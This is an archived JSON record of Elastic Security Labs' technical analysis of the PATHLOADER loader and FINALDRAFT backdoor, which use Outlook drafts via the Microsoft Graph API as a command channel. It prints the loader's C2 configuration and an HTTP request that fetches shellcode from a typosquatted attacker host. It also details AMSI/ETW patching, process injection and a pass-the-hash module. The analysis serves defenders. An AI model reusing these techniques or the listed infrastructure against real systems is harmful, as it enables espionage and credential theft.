{
	"id": "2a798257-7f84-45ed-853a-2e0eb95ffbe0",
	"created_at": "2026-04-06T00:14:45.964907Z",
	"updated_at": "2026-04-10T03:33:36.974253Z",
	"deleted_at": null,
	"sha1_hash": "5492aae59e5587e063bc257bbfacad8b65bf2bbf",
	"title": "You've Got Malware: FINALDRAFT Hides in Your Drafts",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 3626310,
	"plain_text": "You've Got Malware: FINALDRAFT Hides in Your Drafts\r\nBy Cyril François, Jia Yu Chan, Salim Bitam, Daniel Stepanic\r\nPublished: 2025-02-13 · Archived: 2026-04-05 16:56:01 UTC\r\nSummary\r\nWhile investigating REF7707, Elastic Security Labs discovered a new family of previously unknown malware that leverages\r\nOutlook as a communication channel via the Microsoft Graph API. This post-exploitation kit includes a loader, a backdoor,\r\nand multiple submodules that enable advanced post-exploitation activities.\r\nOur analysis uncovered a Linux variant and an older PE variant of the malware, each with multiple distinct versions that\r\nsuggest these tools have been under development for some time.\r\nThe completeness of the tools and the level of engineering involved suggest that the developers are well-organized. The\r\nextended time frame of the operation and evidence from our telemetry suggest it’s likely an espionage-oriented campaign.\r\nThis report details the features and capabilities of these tools.\r\nPATHLOADER \u0026 FINALDRAFT execution diagram\r\nFor the campaign analysis of REF7707 - check out From South America to Southeast Asia: The Fragile Web of REF7707.\r\nTechnical Analysis\r\nPATHLOADER\r\nPATHLOADER is a Windows PE file that downloads and executes encrypted shellcode retrieved from external\r\ninfrastructure.\r\nOur team recovered and decrypted the shellcode retrieved by PATHLOADER, extracting a new implant we have not seen\r\npublicly reported, which we call FINALDRAFT. We believe these two components are used together to infiltrate sensitive\r\nenvironments.\r\nConfiguration\r\nPATHLOADER is a lightweight Windows executable at 206 kilobytes; this program downloads and executes shellcode\r\nhosted on a remote server. PATHLOADER includes an embedded configuration stored in the .data section that includes\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 1 of 26\n\nC2 and other relevant settings.\r\nEmbedded configuration\r\nAfter Base64 decoding and converting from the embedded hex string, the original configuration is recovered with two\r\nunique typosquatted domains resembling security vendors.\r\nhttps://poster.checkponit.com:443/nzoMeFYgvjyXK3P;https://support.fortineat.com:443/nzoMeFYgvjyXK3P;*|*\r\nConfiguration from PATHLOADER\r\nAPI Hashing\r\nIn order to block static analysis efforts, PATHLOADER performs API hashing using the Fowler–Noll–Vo hash function.\r\nThis can be observed based on the immediate value 0x1000193 found 37 times inside the binary. The API hashing\r\nfunctionality shows up as in-line as opposed to a separate individual function.\r\nOccurrences of value 0x1000193\r\nString Obfuscation\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 2 of 26\n\nPATHLOADER uses string encryption to obfuscate functionality from analysts reviewing the program statically. While the\r\nstrings are easy to decrypt while running or if using a debugger, the obfuscation shows up in line, increasing the complexity\r\nand making it more challenging to follow the control flow. This obfuscation uses SIMD (Single Instruction, Multiple Data)\r\ninstructions and XMM registers to transform the data.\r\nString obfuscation example\r\nOne string related to logging WinHttpSendRequest error codes used by the malware developer was left unencrypted.\r\nLogging string left unencrypted\r\nExecution/Behavior\r\nUpon execution, PATHLOADER employs a combination of GetTickCount64 and Sleep methods to avoid immediate\r\nexecution in a sandbox environment. After a few minutes, PATHLOADER parses its embedded configuration, cycling\r\nthrough both preconfigured C2 domains ( poster.checkponit[.]com , support.fortineat[.]com ) attempting to download\r\nthe shellcode through HTTPS GET requests.\r\nGET http://poster.checkponit.com/nzoMeFYgvjyXK3P HTTP/1.1\r\nCache-Control: no-cache\r\nConnection: Keep-Alive\r\nPragma: no-cache\r\nHost: poster.checkponit.com\r\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537\r\nThe shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL\r\npath “/nzoMeFYgvjyXK3P” as the 128-bit key used in the call to the CryptImportKey API.\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 3 of 26\n\nCryptImportKey parameters\r\nAfter the CryptDecrypt call, the decrypted shellcode is copied into previously allocated memory. The memory page is then\r\nset to PAGE_EXECUTE_READ_WRITE using the NtProtectVirtualMemory API. Once the page is set to the appropriate\r\nprotection, the shellcode entrypoint is called, which in turn loads and executes the next stage: FINALDRAFT.\r\nFINALDRAFT\r\nFINALDRAFT is a 64-bit malware written in C++ that focuses on data exfiltration and process injection. It includes\r\nadditional modules, identified as parts of the FINALDRAFT kit, which can be injected by the malware. The output from\r\nthese modules is then forwarded to the C2 server.\r\nEntrypoint\r\nFINALDRAFT exports a single entry point as its entry function. The name of this function varies between samples; in this\r\nsample, it is called UpdateTask .\r\nPE export of FINALDRAFT\r\nInitialization\r\nThe malware is initialized by loading its configuration and generating a session ID.\r\nConfiguration loading process\r\nThe configuration is hardcoded in the binary in an encrypted blob. It is decrypted using the following algorithm.\r\nfor ( i = 0; i \u003c 0x149A; ++i )\r\n configuration[i] ^= decryption_key[i \u0026 7];\r\nDecryption algorithm for configuration data\r\nThe decryption key is derived either from the Windows product ID ( HKLM\\SOFTWARE\\Microsoft\\Windows\r\nNT\\CurrentVersion\\ProductId ) or from a string located after the encrypted blob. This is determined by a global flag located\r\nafter the encrypted configuration blob.\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 4 of 26\n\nDecryption key and flag found after the encrypted config blob\r\nChoice between the decryption key or Windows product ID for derivation\r\nThe decryption key derivation algorithm is performed as follows:\r\nuint64_t decryption_key = 0;\r\ndo\r\n decryption_key = *data_source++ + 31 * decryption_key;\r\nwhile ( data_source != \u0026data_source[data_source_length] );\r\nDecryption key derivation algorithm\r\nThe configuration structure is described as follows:\r\nstruct Configuration // sizeof=0x149a\r\n{\r\n char c2_hosts_or_refresh_token[5000];\r\n char pastebin_url[200];\r\n char guid[36];\r\n uint8_t unknown_0[4];\r\n uint16_t build_id;\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 5 of 26\n\nuint32_t sleep_value;\r\n uint8_t communication_method;\r\n uint8_t aes_encryption_key[16];\r\n bool get_external_ip_address;\r\n uint8_t unknown_1[10]\r\n};\r\nConfiguration structure\r\nThe configuration is consistent across variants and versions, although not all fields are utilized. For example, the\r\ncommunication method field wasn't used in the main variant at the time of this publication, and only the MSGraph/Outlook\r\nmethod was used. However, this is not the case in the ELF variant or prior versions of FINALDRAFT.\r\nThe configuration also contains a Pastebin URL, which isn’t used across any of the variants. However, this URL was quite\r\nuseful to us for pivoting from the initial sample.\r\nSession ID derivation process\r\nThe session ID used for communication between FINALDRAFT and C2 is generated by creating a random GUID, which is\r\nthen processed using the Fowler-Noll-Vo (FNV) hash function.\r\nFINALDRAFT client ID generation\r\nCommunication protocol\r\nDuring our analysis, we discovered that different communication methods are available from the configuration; however, the\r\nmost contemporary sample at this time uses only the COutlookTrans class, which abuses the Outlook mail service via the\r\nMicrosoft Graph API. This same technique was observed in SIESTAGRAPH, a previously unknown malware family\r\nreported by Elastic Security Labs in February 2023 and attributed to a PRC-affiliated threat group.\r\nThe Microsoft Graph API token is obtained by FINALDRAFT using the\r\nhttps://login.microsoftonline.com/common/oauth2/token endpoint. The refresh token used for this endpoint is located in the\r\nconfiguration.\r\nBuilding refresh token request\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 6 of 26\n\nToken refresh POST request\r\nOnce refreshed, the Microsoft Graph API token is stored in the following registry paths based on whether the user has\r\nadministrator privileges:\r\nHKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\\\u003cuuid_from_configuration\u003e\r\nHKLM\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UUID\\\u003cuuid_from_configuration\u003e\r\nThis token is reused across requests, if it is still valid.\r\nStoring refresh token in the registry\r\nThe communication loop is described as follows:\r\nCreate a session email draft if it doesn’t already exist.\r\nRead and delete command request email drafts created by the C2.\r\nProcess commands\r\nWrite command response emails as drafts for each processed command.\r\nA check is performed to determine whether a session email, in the form of a command response email identified by the\r\nsubject p_\u003csession-id\u003e , already exists. If it does not, one is created in the mail drafts. The content of this email is base64\r\nencoded but not AES encrypted.\r\nCheck for session email and create one if it doesn't exist\r\nSession email: GET and POST requests\r\nThe session data is described in the structure below.\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 7 of 26\n\nstruct Session\r\n{\r\n char random_bytes[30];\r\n uint32_t total_size;\r\n char field_22;\r\n uint64_t session_id;\r\n uint64_t build_number;\r\n char field_33;\r\n};\r\nSession data structure\r\nThe command queue is filled by checking the last five C2 command request emails in the mail drafts, which have subjects\r\nr_\u003csession-id\u003e .\r\nChecking for commands email\r\nCommand polling GET request\r\nAfter reading the request, emails are then deleted.\r\nDeleting command email after reading\r\nCommands are then processed, and responses are written into new draft emails, each with the same p_\u003csession-id\u003e\r\nsubject for each command response.\r\nCommand response POST request\r\nContent for message requests and responses are Zlib compressed, AES CBC encrypted, and Base64 encoded. The AES key\r\nused for encryption and decryption is located in the configuration blob.\r\nBase64(AESEncrypt(ZlibCompress(data)))\r\nRequest messages sent from the C2 to the implant follow this structure.\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 8 of 26\n\nstruct C2Message{\r\n struct {\r\n uint8_t random_bytes[0x1E];\r\n uint32_t message_size;\r\n uint64_t session_id;\r\n } header; // Size: 0x2A (42 bytes)\r\n struct {\r\n uint32_t command_size;\r\n uint32_t next_command_struct_offset;\r\n uint8_t command_id;\r\n uint8_t unknown[8];\r\n uint8_t command_args[];\r\n } commands[];\r\n};\r\nRequest message structure\r\nResponse messages sent from the implant to C2 follow this structure.\r\nstruct ImplantMessage {\r\n struct Header {\r\n uint8_t random_bytes[0x1E];\r\n uint32_t total_size;\r\n uint8_t flag; // Set to 1\r\n uint64_t session_id;\r\n uint16_t build_id;\r\n uint8_t pad[6];\r\n } header;\r\n struct Message {\r\n uint32_t actual_data_size_add_0xf;\r\n uint8_t command_id;\r\n uint8_t unknown[8];\r\n uint8_t flag_success;\r\n char newline[0x2];\r\n uint8_t actual_data[];\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 9 of 26\n\n}\r\n};\r\nResponse message structure\r\nHere is an example of data stolen by the implant.\r\nResponse message example\r\nCommands\r\nFinalDraft registers 37 command handlers, with most capabilities revolving around process injection, file manipulation, and\r\nnetwork proxy capabilities.\r\nFINALDRAFT command handler setup\r\nBelow is a table of the commands and their IDs:\r\nID Name\r\n0 GatherComputerInformation\r\n2 StartTcpServerProxyToC2\r\n3 StopTcpServerProxyToC2\r\n4 ConnectToTcpTargetStartProxyToC2\r\n5 SetSleepValue\r\n6 DeleteNetworkProjectorFwRuleAndStopTCPServer\r\n8 ConnectToTcpTarget\r\n9 SendDataToUdpOrTcpTarget\r\n10 CloseTcpConnection\r\n11 DoProcessInjectionSendOutputEx\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 10 of 26\n\nID Name\r\n12 ListFiles\r\n13 ListAvailableDrives\r\n14 CreateDirectory\r\n15 DeleteFileOrDirectory\r\n16 DownloadFile\r\n17 UploadFile0\r\n18 DummyFunction\r\n19 SetCurrentDirectory\r\n20 GetCurrentDirectory\r\n21 ListRunningProcesses\r\n24 DoProcessInjectionNoOutput\r\n25 DoProcessInjectionNoOutput (Same as 24)\r\n26 DoProcessInjectionSendOutput1\r\n28 DisconnectFromNamedPipe\r\n30 ConnectToNamedPipeAndProxyMessageToC2\r\n31 GetCurrentProcessTokenInformation\r\n32 EnumerateActiveSessions\r\n33 ListActiveTcpUdpConnections\r\n35 MoveFile1\r\n36 GetOrSetFileTime\r\n39 UploadFile1\r\n41 MoveFile0\r\n42 CopyFileOrCopyDirectory\r\n43 TerminateProcess\r\n44 CreateProcess\r\nFINALDRAFT command handler table\r\nGather computer information\r\nUpon execution of the GatherComputerInformation command, information about the victim machine is collected and sent\r\nby FINALDRAFT. This information includes the computer name, the account username, internal and external IP addresses,\r\nand details about running processes.\r\nThis structure is described as follows:\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 11 of 26\n\nstruct ComputerInformation\r\n{\r\n char field_0;\r\n uint64_t session_id;\r\n char field_9[9];\r\n char username[50];\r\n char computer_name[50];\r\n char field_76[16];\r\n char external_ip_address[20];\r\n char internal_ip_address[20];\r\n uint32_t sleep_value;\r\n char field_B2;\r\n uint32_t os_major_version;\r\n uint32_t os_minor_version;\r\n bool product_type;\r\n uint32_t os_build_number;\r\n uint16_t os_service_pack_major;\r\n char field_C2[85];\r\n char field_117;\r\n char current_module_name[50];\r\n uint32_t current_process_id;\r\n};\r\nCollected information structure\r\nThe external IP address is collected when enabled in the configuration.\r\nRetrieve external IP if flag is set\r\nThis address is obtained by FINALDRAFT using the following list of public services.\r\nPublic service\r\nhxxps://ip-api.io/json\r\nhxxps://ipinfo.io/json\r\nhxxps://myexternalip.com/raw\r\nhxxps://ipapi.co/json/\r\nhxxps://jsonip.com/\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 12 of 26\n\nIP lookup service list\r\nProcess injection\r\nFINALDRAFT has multiple process injection-related commands that can inject into either running processes or create a\r\nhidden process to inject into.\r\nIn cases where a process is created, the target process is either an executable path provided as a parameter to the command\r\nor defaults to mspaint.exe or conhost.exe as a fallback.\r\nmspaint.exe process injection target\r\nconhost.exe process injection target\r\nDepending on the command and its parameters, the process can be optionally created with its standard output handle piped.\r\nIn this case, once the process is injected, FINALDRAFT reads from the pipe's output and sends its content along with the\r\ncommand response.\r\nCreate hidden process with piped STD handles\r\nRead process' piped stdout\r\nAnother option exists where, instead of piping the standard handle of the process, FINALDRAFT, after creating and\r\ninjecting the process, waits for the payload to create a Windows named pipe. It then connects to the pipe, writes some\r\ninformation to it, reads its output, and sends the data to the C2 through a separate channel. (In the case of the Outlook\r\ntransport channel, this involves creating an additional draft email.).\r\nWait for injected process to create its named pipe\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 13 of 26\n\nRead from named pipe and send to C2\r\nThe process injection procedure is basic and based on VirtualAllocEx , WriteProcessMemory , and RtlCreateUserThread\r\nAPI.\r\nProcess injection method\r\nForwarding data from TCP, UDP, and named pipes\r\nFINALDRAFT offers various methods of proxying data to C2, including UDP and TCP listeners, and a named pipe client.\r\nProxying UDP and TCP data involves handling incoming communication differently based on the protocol. For UDP,\r\nmessages are received directly from the sender, while for TCP, client connections are accepted before receiving data. In both\r\ncases, the data is read from the socket and forwarded to the transport channel.\r\nBelow is an example screenshot of the recvfrom call from the UDP listener.\r\nReceived data from UDP client\r\nBefore starting the TCP listener server, FINALDRAFT adds a rule to the Windows Firewall. This rule is removed when the\r\nserver shuts down. To add/remove these rules the malware uses COM and the INetFwPolicy2 and the INetFwRule\r\ninterfaces.\r\nFINALDRAFT adds firewall rule to allow TCP server\r\nInstantiating the NetFwPolicy2 COM interface\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 14 of 26\n\nFINALDRAFT can also establish a TCP connection to a target. In this case, it sends a magic value,\r\n“\\x12\\x34\\xab\\xcd\\ff\\xff\\xcd\\xab\\x34\\x12” and expects the server to echo the same magic value back before beginning\r\nto forward the received data.\r\nSend and receive magic data to/from TCP target\r\nMagic data blob\r\nFor the named pipe, FINALDRAFT only connects to an existing pipe. The pipe name must be provided as a parameter to the\r\ncommand, after which it reads the data and forwards it through a separate channel.\r\nForward data from named pipe\r\nFile manipulation\r\nFor the file deletion functionality, FINALDRAFT prevents file recovery by overwriting file data with zeros before deleting\r\nthem.\r\nZero out file before deletion\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 15 of 26\n\nFINALDRAFT defaults to CopyFileW for file copying. However, if it fails, it will attempt to copy the file at the NTFS\r\ncluster level.\r\nIt first opens the source file as a drive handle. To retrieve the cluster size of the volume where the file resides, it uses\r\nGetDiskFreeSpaceW to retrieve information about the number of sectors per cluster and bytes per sector. DeviceIoControl\r\nis then called with FSCTL_GET_RETRIEVAL_POINTERS to retrieve details of extents: locations on disk storing the data of the\r\nspecified file and how much data is stored there in terms of cluster size.\r\nRetrieving file data extents\r\nFor each extent, it uses SetFilePointer to move the source file pointer to the corresponding offset in the volume; reading\r\nand writing one cluster of data at a time from the source file to the destination file.\r\nRead/write file between clusters\r\nIf the file does not have associated cluster mappings, it is a resident file, and data is stored in the MFT itself. It uses the file's\r\nMFT index to get its raw MFT record. The record is then parsed to locate the $DATA attribute (type identifier = 128). Data\r\nis then extracted from this attribute and written to the destination file using WriteFile .\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 16 of 26\n\nCopy resident files using MFT records\r\nInjected Modules\r\nOur team observed several additional modules loaded through the DoProcessInjectionSendOutputEx command handler\r\nperforming process injection and writing the output back through a named pipe. This shellcode injected by FINALDRAFT\r\nleverages the well-known sRDI project, enabling the loading of a fully-fledged PE DLL into memory within the same\r\nprocess, resolving its imports and calling its export entrypoint.\r\nNetwork enumeration ( ipconfig.x64.dll )\r\nThis module creates a named pipe ( \\\\.\\Pipe\\E340C955-15B6-4ec9-9522-1F526E6FBBF1 ) waiting for FINALDRAFT to\r\nconnect to it. Perhaps to prevent analysis/sandboxing, the threat actor used a password ( Aslire597 ) as an argument, if the\r\npassword is incorrect, the module will not run.\r\nString comparison with command-line password\r\nAs its name suggests, this module is a custom implementation of the ipconfig command retrieving networking information\r\nusing Windows API’s ( GetAdaptersAddresses , GetAdaptersInfo , GetNetworkParams ) and reading the Windows registry\r\nkeypath ( SYSTEM\\\\CurrentControlSet\\\\Services\\\\Tcpip\\\\Parameters\\\\Interfaces ). After the data is retrieved, it is sent\r\nback to FINALDRAFT through the named pipe.\r\nRetrieving network adapter information\r\nPowerShell execution ( Psloader.x64.dll )\r\nThis module allows the operator to execute PowerShell commands without invoking the powershell.exe binary. The code\r\nused is taken from PowerPick, a well-known open source offensive security tool.\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 17 of 26\n\nTo evade detection, the module first hooks the EtwEventWrite , ReportEventW , and AmsiScanBuffer APIs, forcing them\r\nto always return 0 , which disables ETW logging and bypasses anti-malware scans.\r\nPatching AMSI and ETW APis\r\nNext, the DLL loads a .NET payload (PowerPick) stored in its .data section using the CLR Hosting technique.\r\nManaged code of PowerPick loaded using CLR hosting technique\r\nThe module creates a named pipe ( \\\\.\\Pipe\\BD5AE956-0CF5-44b5-8061-208F5D0DBBB2 ) which is used for command\r\nforwarding and output retrieval. The main thread is designated as the receiver, while a secondary thread is created to write\r\ndata to the pipe. Finally, the managed PowerPick binary is loaded and executed by the module.\r\nManaged binary of PowerPick loaded by the module\r\nPass-the-Hash toolkit ( pnt.x64.dll )\r\nThis module is a custom Pass-the-Hash (PTH) toolkit used to start new processes with stolen NTLM hashes. This PTH\r\nimplementation is largely inspired by the one used by Mimikatz, enabling lateral movement.\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 18 of 26\n\nDecrypted strings from memory for PTH module\r\nA password ( Aslire597 ), domain, and username with the NTLM hash, along with the file path of the program to be\r\nelevated, are required by this module. In our sample, this command line is loaded by the sRDI shellcode. Below is an\r\nexample of the command line.\r\nprogram.exe \u003cpassword\u003e \u003cdomain\u003e\\\u003caccount\u003e:\u003cntlm_hash\u003e \u003ctarget_process\u003e\r\nLike the other module, it creates a named pipe, ” \\\\.\\Pipe\\EAA0BF8D-CA6C-45eb-9751-6269C70813C9 ”, and awaits incoming\r\nconnections from FINALDRAFT. This named pipe serves as a logging channel.\r\nnamed pipe creation for pnt.x64.dll\r\nAfter establishing the pipe connection, the malware creates a target process in a suspended state using\r\nCreateProcessWithLogonW , identifies key structures like the LogonSessionList and LogonSessionListCount within the\r\nLocal Security Authority Subsystem Service (LSASS) process, targeting the logon session specified by the provided\r\nargument.\r\nOnce the correct session is matched, the current credential structure inside LSASS is overwritten with the supplied NTLM\r\nhash instead of the current user's NTLM hash, and finally, the process thread is resumed. This technique is well explained in\r\nthe blog post \"Inside the Mimikatz Pass-the-Hash Command (Part 2)\" by Praetorian. The result is then sent to the named\r\npipe.\r\nNamed pipe output and created process\r\nFINALDRAFT ELF variant\r\nDuring this investigation, we discovered an ELF variant of FINALDRAFT. This version supports more transport protocols\r\nthan the PE version, but has fewer features, suggesting it might be under development.\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 19 of 26\n\nAdditional transport channels\r\nThe ELF variant of FINALDRAFT supports seven additional protocols for C2 transport channels:\r\nC2 communication protocols\r\nHTTP/HTTPS\r\nReverse UDP\r\nICMP\r\nBind TCP\r\nReverse TCP\r\nDNS\r\nOutlook via REST API (could be communicating with an API proxy)\r\nOutlook via Graph API\r\nFINALDRAFT ELF variant C2 communication options\r\nFrom the ELF samples discovered, we have identified implants configured to use the HTTP and Outlook via Graph API\r\nchannels.\r\nWhile the code structure is similar to the most contemporary PE sample, at the time of this publication, some parts of the\r\nimplant's functionality were modified to conform to the Linux environment. For example, new Microsoft OAuth refresh\r\ntokens requested are written to a file on disk, either /var/log/installlog.log.\u003cUUID_from_config\u003e or\r\n/mnt/hgfsdisk.log.\u003cUUID_from_config\u003e if it fails to write to the prior file.\r\nBelow is a snippet of the configuration which uses the HTTP channel. We can see two C2 servers are used in place of a\r\nMicrosoft refresh token, the port number 0x1bb ( 443 ) at offset 0xc8 , and flag for using HTTPS at offset 0xfc .\r\nFINALDRAFT ELF variant configuration snippet\r\nThe domains are intentionally designed to typosquat well-known vendors, such as \"VMSphere\" (VMware vSphere).\r\nHowever, it's unclear which vendor \"Hobiter\" is attempting to impersonate in this instance.\r\nC2\r\nsupport.vmphere.com\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 20 of 26\n\nC2\r\nupdate.hobiter.com\r\nDomain list\r\nCommands\r\nCommand handlers\r\nAll of the commands overlap with its Windows counterpart, but offer fewer options. There are two C2 commands dedicated\r\nto collecting information about the victim's machine. Together, these commands gather the following details:\r\nHostname\r\nCurrent logged-in user\r\nIntranet IP address\r\nExternal IP address\r\nGateway IP address\r\nSystem boot time\r\nOperating system name and version\r\nKernel version\r\nSystem architecture\r\nMachine GUID\r\nList of active network connections\r\nList of running processes\r\nName of current process\r\nCommand Execution\r\nWhile there are no process injection capabilities, the implant can execute shell commands directly. It utilizes popen for\r\ncommand execution, capturing both standard output and errors, and sending the results back to the C2 infrastructure.\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 21 of 26\n\nExecuting shell command\r\nSelf Deletion\r\nTo dynamically resolve the path of the currently running executable, its symlink pointing to the executable image is passed\r\nto sys_readlink . sys_unlink is then called to remove the executable file from the filesystem.\r\nSelf deletion using sys_unlink\r\nOlder FINALDRAFT PE sample\r\nDuring our investigation, we identified an older version of FINALDRAFT. This version supports half as many commands\r\nbut includes an additional transport protocol alongside the MS Graph API/Outlook transport channel.\r\nThe name of the binary is Session.x64.dll , and its entrypoint export is called GoogleProxy :\r\nPE export of FINALDRAFT\r\nHTTP transport channel\r\nThis older version of FINALDRAFT selects between the Outlook or HTTP transport channel based on the configuration.\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 22 of 26\n\nChoice between Outlook and HTTP transport channels\r\nIn this sample, the configuration contains a list of hosts instead of the refresh token found in the main sample. These same\r\ndomains were used by PATHLOADER, the domain ( checkponit[.]com ) was registered on 2022-08-26T09:43:16Z and\r\ndomain ( fortineat[.]com ) was registred on 2023-11-08T09:47:47Z.\r\nDomains found in the configuration\r\nThe domains purposely typosquat real known vendors, CheckPoint and Fortinet, in this case.\r\nC2\r\nposter.checkponit[.]com\r\nsupport.fortineat[.]com\r\nDomain list\r\nShell command\r\nAn additional command exists in this sample that is not present in later versions. This command, with ID 1 , executes a\r\nshell command.\r\nShell command handler setup\r\nThe execution is carried out by creating a cmd.exe process with the \"/c\" parameter, followed by appending the actual\r\ncommand to the parameter.\r\nCreate piped cmd.exe process\r\nDetection\r\nElastic Defend detects the process injection mechanism through two rules. The first rule detects the WriteProcessMemory\r\nAPI call targeting another process, which is a common behavior observed in process injection techniques.\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 23 of 26\n\nDetecting WriteProcessMemory in FINALDRAFT process injection\r\nThe second rule detects the creation of a remote thread to execute the shellcode.\r\nDetection of injected shellcode thread\r\nWe also detect the loading of the PowerShell engine by the Psloader.x64.dll module, which is injected into the known\r\ntarget mspaint.exe .\r\nDetection of PowerShell engine loads\r\nMalware and MITRE ATT\u0026CK\r\nElastic uses the MITRE ATT\u0026CK framework to document common tactics, techniques, and procedures that threats use\r\nagainst enterprise networks.\r\nTactics\r\nCommand and Control\r\nDefense Evasion\r\nDiscovery\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 24 of 26\n\nExecution\r\nExfiltration\r\nLateral Movement\r\nTechniques\r\nTechniques represent how an adversary achieves a tactical goal by performing an action.\r\nWeb Service: One-Way Communication\r\nEncrypted Channel: Symmetric Cryptography\r\nHide Artifacts: Hidden Window\r\nMasquerading: Match Legitimate Name or Location\r\nMasquerading: Rename System Utilities\r\nProcess Injection: Portable Executable Injection\r\nReflective Code Loading\r\nUse Alternate Authentication Material: Pass the Hash\r\nNetwork Service Discovery\r\nProcess Discovery\r\nQuery Registry\r\nExfiltration Over Web Service\r\nMitigations\r\nDetection\r\nSuspicious Memory Write to a Remote Process\r\nUnusual PowerShell Engine ImageLoad\r\nAMSI Bypass via Unbacked Memory\r\nAMSI or WLDP Bypass via Memory Patching\r\nSuspicious Execution via Windows Service\r\nExecution via Windows Command Line Debugging Utility\r\nSuspicious Parent-Child Relationship\r\nYARA\r\nElastic Security has created the following YARA rules related to this post:\r\nWindows.Trojan.PathLoader\r\nWindows.Trojan.FinalDraft\r\nLinux.Trojan.FinalDraft\r\nMulti.Trojan.FinalDraft\r\nObservations\r\nThe following observables were discussed in this research:\r\nObservable Type Reference Date\r\n9a11d6fcf76583f7f70ff55297fb550fed774b61f35ee2edd95cf6f959853bcf SHA256 PATHLOADER\r\nVT first se\r\n2023-05-0\r\n09:44:45 U\r\n39e85de1b1121dc38a33eca97c41dbd9210124162c6d669d28480c833e059530 SHA256 FINALDRAFT initial sample\r\nTelemetry\r\nseen: 2024\r\n20:49:18.6\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 25 of 26\n\nObservable Type Reference Date\r\n83406905710e52f6af35b4b3c27549a12c28a628c492429d3a411fdb2d28cc8c SHA256 FINALDRAFT ELF variant\r\nVT first se\r\n2024-10-0\r\n07:15:00 U\r\nposter.checkponit[.]com domain\r\nPATHLOADER/FINALDRAFT\r\ndomain\r\nCreation d\r\n2022-08-\r\n26T09:43\r\nValid unti\r\n2025-08-\r\n26T07:00\r\nsupport.fortineat[.]com domain\r\nPATHLOADER/FINALDRAFT\r\ndomain\r\nCreation d\r\n2023-11-\r\n08T09:47\r\nValid unti\r\n2024-11-\r\n08T09:47\r\nsupport.vmphere[.]com domain FINALDRAFT domain\r\nCreation d\r\n2023-09-\r\n12T12:35\r\nValid unti\r\n2025-09-\r\n12T12:35\r\nupdate.hobiter[.]com domain FINALDRAFT domain\r\nCreation d\r\n2023-09-\r\n12T12:35\r\nValid unti\r\n2025-09-\r\n12T12:35\r\nSource: https://www.elastic.co/security-labs/finaldraft\r\nhttps://www.elastic.co/security-labs/finaldraft\r\nPage 26 of 26\n\nPragma: no-cache Host: poster.checkponit.com     \nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/40.0.2214.85 Safari/537\nThe shellcode is AES encrypted and Base64 encoded. The AES decryption is performed using the shellcode download URL\npath “/nzoMeFYgvjyXK3P” as the 128-bit key used in the call to the CryptImportKey API. \n   Page 3 of 26",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"Malpedia"
	],
	"references": [
		"https://www.elastic.co/security-labs/finaldraft"
	],
	"report_names": [
		"finaldraft"
	],
	"threat_actors": [
		{
			"id": "68a86dfa-1a6d-4254-bd39-a9aa1129fdf5",
			"created_at": "2025-05-29T02:00:03.198435Z",
			"updated_at": "2026-04-10T02:00:03.855309Z",
			"deleted_at": null,
			"main_name": "REF7707",
			"aliases": [
				"CL-STA-0049",
				"Jewelbug"
			],
			"source_name": "MISPGALAXY:REF7707",
			"tools": [],
			"source_id": "MISPGALAXY",
			"reports": null
		}
	],
	"ts_created_at": 1775434485,
	"ts_updated_at": 1775792016,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/5492aae59e5587e063bc257bbfacad8b65bf2bbf.pdf",
		"text": "https://archive.orkl.eu/5492aae59e5587e063bc257bbfacad8b65bf2bbf.txt",
		"img": "https://archive.orkl.eu/5492aae59e5587e063bc257bbfacad8b65bf2bbf.jpg"
	}
}